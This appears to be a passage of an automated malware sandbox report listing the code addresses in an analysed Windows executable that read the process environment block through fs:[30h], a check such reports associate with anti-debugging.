Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1C962 mov eax, dword ptr fs:[00000030h]		1_2_00A1C962
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1B171 mov eax, dword ptr fs:[00000030h]		1_2_00A1B171
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1B171 mov eax, dword ptr fs:[00000030h]		1_2_00A1B171
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3B944 mov eax, dword ptr fs:[00000030h]		1_2_00A3B944
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3B944 mov eax, dword ptr fs:[00000030h]		1_2_00A3B944
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A152A5 mov eax, dword ptr fs:[00000030h]		1_2_00A152A5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A152A5 mov eax, dword ptr fs:[00000030h]		1_2_00A152A5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A152A5 mov eax, dword ptr fs:[00000030h]		1_2_00A152A5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A152A5 mov eax, dword ptr fs:[00000030h]		1_2_00A152A5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A152A5 mov eax, dword ptr fs:[00000030h]		1_2_00A152A5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2AAB0 mov eax, dword ptr fs:[00000030h]		1_2_00A2AAB0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2AAB0 mov eax, dword ptr fs:[00000030h]		1_2_00A2AAB0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4FAB0 mov eax, dword ptr fs:[00000030h]		1_2_00A4FAB0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4D294 mov eax, dword ptr fs:[00000030h]		1_2_00A4D294
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4D294 mov eax, dword ptr fs:[00000030h]		1_2_00A4D294
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A42AE4 mov eax, dword ptr fs:[00000030h]		1_2_00A42AE4
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A42ACB mov eax, dword ptr fs:[00000030h]		1_2_00A42ACB
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A54A2C mov eax, dword ptr fs:[00000030h]		1_2_00A54A2C
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A54A2C mov eax, dword ptr fs:[00000030h]		1_2_00A54A2C
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A28A0A mov eax, dword ptr fs:[00000030h]		1_2_00A28A0A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A15210 mov eax, dword ptr fs:[00000030h]		1_2_00A15210
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A15210 mov ecx, dword ptr fs:[00000030h]		1_2_00A15210
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A15210 mov eax, dword ptr fs:[00000030h]		1_2_00A15210
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A15210 mov eax, dword ptr fs:[00000030h]		1_2_00A15210
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1AA16 mov eax, dword ptr fs:[00000030h]		1_2_00A1AA16
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1AA16 mov eax, dword ptr fs:[00000030h]		1_2_00A1AA16
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A33A1C mov eax, dword ptr fs:[00000030h]		1_2_00A33A1C
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ACB260 mov eax, dword ptr fs:[00000030h]		1_2_00ACB260
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ACB260 mov eax, dword ptr fs:[00000030h]		1_2_00ACB260
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE8A62 mov eax, dword ptr fs:[00000030h]		1_2_00AE8A62
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A5927A mov eax, dword ptr fs:[00000030h]		1_2_00A5927A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A19240 mov eax, dword ptr fs:[00000030h]		1_2_00A19240
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A19240 mov eax, dword ptr fs:[00000030h]		1_2_00A19240
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A19240 mov eax, dword ptr fs:[00000030h]		1_2_00A19240
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A19240 mov eax, dword ptr fs:[00000030h]		1_2_00A19240
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ADEA55 mov eax, dword ptr fs:[00000030h]		1_2_00ADEA55
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AA4257 mov eax, dword ptr fs:[00000030h]		1_2_00AA4257
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A44BAD mov eax, dword ptr fs:[00000030h]		1_2_00A44BAD
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A44BAD mov eax, dword ptr fs:[00000030h]		1_2_00A44BAD
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A44BAD mov eax, dword ptr fs:[00000030h]		1_2_00A44BAD
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE5BA5 mov eax, dword ptr fs:[00000030h]		1_2_00AE5BA5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD138A mov eax, dword ptr fs:[00000030h]		1_2_00AD138A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ACD380 mov ecx, dword ptr fs:[00000030h]		1_2_00ACD380
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A21B8F mov eax, dword ptr fs:[00000030h]		1_2_00A21B8F
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A21B8F mov eax, dword ptr fs:[00000030h]		1_2_00A21B8F
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A42397 mov eax, dword ptr fs:[00000030h]		1_2_00A42397
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4B390 mov eax, dword ptr fs:[00000030h]		1_2_00A4B390
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A403E2 mov eax, dword ptr fs:[00000030h]		1_2_00A403E2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A403E2 mov eax, dword ptr fs:[00000030h]		1_2_00A403E2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A403E2 mov eax, dword ptr fs:[00000030h]		1_2_00A403E2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A403E2 mov eax, dword ptr fs:[00000030h]		1_2_00A403E2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A403E2 mov eax, dword ptr fs:[00000030h]		1_2_00A403E2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A403E2 mov eax, dword ptr fs:[00000030h]		1_2_00A403E2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3DBE9 mov eax, dword ptr fs:[00000030h]		1_2_00A3DBE9
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A953CA mov eax, dword ptr fs:[00000030h]		1_2_00A953CA
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A953CA mov eax, dword ptr fs:[00000030h]		1_2_00A953CA
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD131B mov eax, dword ptr fs:[00000030h]		1_2_00AD131B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1DB60 mov ecx, dword ptr fs:[00000030h]		1_2_00A1DB60
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A43B7A mov eax, dword ptr fs:[00000030h]		1_2_00A43B7A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A43B7A mov eax, dword ptr fs:[00000030h]		1_2_00A43B7A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1DB40 mov eax, dword ptr fs:[00000030h]		1_2_00A1DB40
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE8B58 mov eax, dword ptr fs:[00000030h]		1_2_00AE8B58
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1F358 mov eax, dword ptr fs:[00000030h]		1_2_00A1F358
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2849B mov eax, dword ptr fs:[00000030h]		1_2_00A2849B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD14FB mov eax, dword ptr fs:[00000030h]		1_2_00AD14FB
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96CF0 mov eax, dword ptr fs:[00000030h]		1_2_00A96CF0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96CF0 mov eax, dword ptr fs:[00000030h]		1_2_00A96CF0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96CF0 mov eax, dword ptr fs:[00000030h]		1_2_00A96CF0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE8CD6 mov eax, dword ptr fs:[00000030h]		1_2_00AE8CD6
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4BC2C mov eax, dword ptr fs:[00000030h]		1_2_00A4BC2C
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE740D mov eax, dword ptr fs:[00000030h]		1_2_00AE740D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE740D mov eax, dword ptr fs:[00000030h]		1_2_00AE740D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE740D mov eax, dword ptr fs:[00000030h]		1_2_00AE740D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96C0A mov eax, dword ptr fs:[00000030h]		1_2_00A96C0A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96C0A mov eax, dword ptr fs:[00000030h]		1_2_00A96C0A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96C0A mov eax, dword ptr fs:[00000030h]		1_2_00A96C0A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96C0A mov eax, dword ptr fs:[00000030h]		1_2_00A96C0A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1C06 mov eax, dword ptr fs:[00000030h]		1_2_00AD1C06
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3746D mov eax, dword ptr fs:[00000030h]		1_2_00A3746D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4A44B mov eax, dword ptr fs:[00000030h]		1_2_00A4A44B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AAC450 mov eax, dword ptr fs:[00000030h]		1_2_00AAC450
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AAC450 mov eax, dword ptr fs:[00000030h]		1_2_00AAC450
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE05AC mov eax, dword ptr fs:[00000030h]		1_2_00AE05AC
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE05AC mov eax, dword ptr fs:[00000030h]		1_2_00AE05AC
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A435A1 mov eax, dword ptr fs:[00000030h]		1_2_00A435A1
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A41DB5 mov eax, dword ptr fs:[00000030h]		1_2_00A41DB5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A41DB5 mov eax, dword ptr fs:[00000030h]		1_2_00A41DB5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A41DB5 mov eax, dword ptr fs:[00000030h]		1_2_00A41DB5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A42581 mov eax, dword ptr fs:[00000030h]		1_2_00A42581
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A42581 mov eax, dword ptr fs:[00000030h]		1_2_00A42581
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A42581 mov eax, dword ptr fs:[00000030h]		1_2_00A42581
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A42581 mov eax, dword ptr fs:[00000030h]		1_2_00A42581
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A12D8A mov eax, dword ptr fs:[00000030h]		1_2_00A12D8A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A12D8A mov eax, dword ptr fs:[00000030h]		1_2_00A12D8A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A12D8A mov eax, dword ptr fs:[00000030h]		1_2_00A12D8A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A12D8A mov eax, dword ptr fs:[00000030h]		1_2_00A12D8A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A12D8A mov eax, dword ptr fs:[00000030h]		1_2_00A12D8A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4FD9B mov eax, dword ptr fs:[00000030h]		1_2_00A4FD9B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4FD9B mov eax, dword ptr fs:[00000030h]		1_2_00A4FD9B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2D5E0 mov eax, dword ptr fs:[00000030h]		1_2_00A2D5E0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2D5E0 mov eax, dword ptr fs:[00000030h]		1_2_00A2D5E0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ADFDE2 mov eax, dword ptr fs:[00000030h]		1_2_00ADFDE2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ADFDE2 mov eax, dword ptr fs:[00000030h]		1_2_00ADFDE2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ADFDE2 mov eax, dword ptr fs:[00000030h]		1_2_00ADFDE2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ADFDE2 mov eax, dword ptr fs:[00000030h]		1_2_00ADFDE2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AC8DF1 mov eax, dword ptr fs:[00000030h]		1_2_00AC8DF1
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96DC9 mov eax, dword ptr fs:[00000030h]		1_2_00A96DC9
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96DC9 mov eax, dword ptr fs:[00000030h]		1_2_00A96DC9
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96DC9 mov eax, dword ptr fs:[00000030h]		1_2_00A96DC9
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96DC9 mov ecx, dword ptr fs:[00000030h]		1_2_00A96DC9
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96DC9 mov eax, dword ptr fs:[00000030h]		1_2_00A96DC9
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A96DC9 mov eax, dword ptr fs:[00000030h]		1_2_00A96DC9
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1AD30 mov eax, dword ptr fs:[00000030h]		1_2_00A1AD30
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ADE539 mov eax, dword ptr fs:[00000030h]		1_2_00ADE539
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A23D34 mov eax, dword ptr fs:[00000030h]		1_2_00A23D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE8D34 mov eax, dword ptr fs:[00000030h]		1_2_00AE8D34
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A9A537 mov eax, dword ptr fs:[00000030h]		1_2_00A9A537
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A44D3B mov eax, dword ptr fs:[00000030h]		1_2_00A44D3B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A44D3B mov eax, dword ptr fs:[00000030h]		1_2_00A44D3B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A44D3B mov eax, dword ptr fs:[00000030h]		1_2_00A44D3B
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3C577 mov eax, dword ptr fs:[00000030h]		1_2_00A3C577
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3C577 mov eax, dword ptr fs:[00000030h]		1_2_00A3C577
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A53D43 mov eax, dword ptr fs:[00000030h]		1_2_00A53D43
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A93540 mov eax, dword ptr fs:[00000030h]		1_2_00A93540
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A37D50 mov eax, dword ptr fs:[00000030h]		1_2_00A37D50
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE0EA5 mov eax, dword ptr fs:[00000030h]		1_2_00AE0EA5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE0EA5 mov eax, dword ptr fs:[00000030h]		1_2_00AE0EA5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE0EA5 mov eax, dword ptr fs:[00000030h]		1_2_00AE0EA5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A946A7 mov eax, dword ptr fs:[00000030h]		1_2_00A946A7
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AAFE87 mov eax, dword ptr fs:[00000030h]		1_2_00AAFE87
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A276E2 mov eax, dword ptr fs:[00000030h]		1_2_00A276E2
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A416E0 mov ecx, dword ptr fs:[00000030h]		1_2_00A416E0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A58EC7 mov eax, dword ptr fs:[00000030h]		1_2_00A58EC7
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A436CC mov eax, dword ptr fs:[00000030h]		1_2_00A436CC
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ACFEC0 mov eax, dword ptr fs:[00000030h]		1_2_00ACFEC0
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE8ED6 mov eax, dword ptr fs:[00000030h]		1_2_00AE8ED6
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1E620 mov eax, dword ptr fs:[00000030h]		1_2_00A1E620
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ACFE3F mov eax, dword ptr fs:[00000030h]		1_2_00ACFE3F
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1C600 mov eax, dword ptr fs:[00000030h]		1_2_00A1C600
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1C600 mov eax, dword ptr fs:[00000030h]		1_2_00A1C600
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A1C600 mov eax, dword ptr fs:[00000030h]		1_2_00A1C600
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A48E00 mov eax, dword ptr fs:[00000030h]		1_2_00A48E00
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AD1608 mov eax, dword ptr fs:[00000030h]		1_2_00AD1608
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4A61C mov eax, dword ptr fs:[00000030h]		1_2_00A4A61C
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4A61C mov eax, dword ptr fs:[00000030h]		1_2_00A4A61C
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2766D mov eax, dword ptr fs:[00000030h]		1_2_00A2766D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3AE73 mov eax, dword ptr fs:[00000030h]		1_2_00A3AE73
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3AE73 mov eax, dword ptr fs:[00000030h]		1_2_00A3AE73
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3AE73 mov eax, dword ptr fs:[00000030h]		1_2_00A3AE73
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3AE73 mov eax, dword ptr fs:[00000030h]		1_2_00A3AE73
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3AE73 mov eax, dword ptr fs:[00000030h]		1_2_00A3AE73
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A27E41 mov eax, dword ptr fs:[00000030h]		1_2_00A27E41
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A27E41 mov eax, dword ptr fs:[00000030h]		1_2_00A27E41
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A27E41 mov eax, dword ptr fs:[00000030h]		1_2_00A27E41
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A27E41 mov eax, dword ptr fs:[00000030h]		1_2_00A27E41
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A27E41 mov eax, dword ptr fs:[00000030h]		1_2_00A27E41
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A27E41 mov eax, dword ptr fs:[00000030h]		1_2_00A27E41
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ADAE44 mov eax, dword ptr fs:[00000030h]		1_2_00ADAE44
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00ADAE44 mov eax, dword ptr fs:[00000030h]		1_2_00ADAE44
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A28794 mov eax, dword ptr fs:[00000030h]		1_2_00A28794
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A97794 mov eax, dword ptr fs:[00000030h]		1_2_00A97794
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A97794 mov eax, dword ptr fs:[00000030h]		1_2_00A97794
